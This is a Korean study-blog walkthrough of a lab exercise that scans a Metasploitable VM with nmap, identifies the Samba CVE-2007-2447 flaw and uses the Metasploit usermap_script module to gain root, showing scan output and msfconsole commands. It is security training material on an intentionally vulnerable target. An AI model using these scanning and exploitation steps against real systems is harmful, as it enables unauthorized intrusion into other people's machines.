본문 바로가기
개인 공부/rookies

metasploit을 이용한 취약점 진단 실습 - 2

by 아메리카노와떡볶이 2022. 10. 3.
728x90

복습하기

포트스캐닝을 통한 시스템 취약점 분석 및 진단

 

1단계) 포트 스캐닝

- 포트스캐닝을 통해 열린 포트를 확인한다

만약 어떤 서비스가 실행중인지르 파악해서

관리자가 실행하지 않은 서비스가 있다면 매우 위험하다

 

버전을 확인했을 때 취약한 버전의 서비스가 있는지 확인한다

 

ip scan, tcp scan, syn scan , udp scan

os, version , all scan

 

운영체제와 버전 스캔

 

2단계) 취약점에 대한 조사

- 구글링

- 취약점 제보사이트 : www.exploit-db.com  

 

Offensive Security’s Exploit Database Archive

 

www.exploit-db.com

- 취약점 전문 업체들 : ex)rapid7

- 취약점 공식사이트 : cve.mitre.org

 

3단계) 스크립트를 활용한 상세스캐닝

- 칼리 리눅스에 있는 nmap 스크립트를 활용

cd /usr/share/nmap/scripts

sudo find -name "*취약점*"

sudo nmap --script=[스크립트 이름] x.x.x.x -p [포트번호]

 

4단계) metasploit을 이용해서 exploit을 해보기

sudo msfconsole

search [취약점]

use [공격모듈]

set payload [페이로드]

exploit

 

Samba 취약점

SMB는 Sever Message Block은 윈도우에서 파일 및 폴더를 공유하는 프로토콜

SMB를 Linux에서도 활용하기 위해 만든 프로토콜이 Samba

 

1단계 포트스캐닝

139,445번 포트에 samba 발견

┌──(root㉿kali)-[/home/kali]
└─# nmap -sn 192.168.5.129-140 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 10:22 EDT
Nmap scan report for 192.168.5.129
Host is up (0.00028s latency).
MAC Address: 00:0C:29:E5:DB:FB (VMware)
Nmap scan report for 192.168.5.130
Host is up.
Nmap done: 12 IP addresses (2 hosts up) scanned in 1.44 seconds

┌──(root㉿kali)-[/home/kali]
└─# nmap -sV 192.168.5.129     
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 10:23 EDT
Nmap scan report for 192.168.5.129
Host is up (0.0044s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:E5:DB:FB (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

 

2단계 해당 samba 프로토콜 버전 취약점 검색

CVE: 2007-2447 로 확인

3단계 상세스캐닝

스크립트에서 cve 2007-2447 취약점을 찾아봅시다

취약점 번호가 다른 것을 확인할 수 있음

해당 스크립트가 없음

 

4단계 msfconsole에서 모듈 검색

msf6 > search cve-2007-2447

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script 

모듈 장착 후 info 를 통해 모듈 정보 확인하기

msf6 exploit(multi/samba/usermap_script) > info

       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14

Provided by:
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://github
                                     .com/rapid7/metasploit-framework/wiki/
                                     Using-Metasploit
  RPORT   139              yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerability in Samba 
  versions 3.0.20 through 3.0.25rc3 when using the non-default 
  "username map script" configuration option. By specifying a username 
  containing shell meta characters, attackers can execute arbitrary 
  commands. No authentication is needed to exploit this vulnerability 
  since this option is used to map usernames prior to authentication!

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html

타겟 호스트 지정후 exploit

해당 모듈은 페이로드가 디폴트로 설정되어있음 때문에 건드릴 필요 없당

관리자권한 획득 끗

728x90

댓글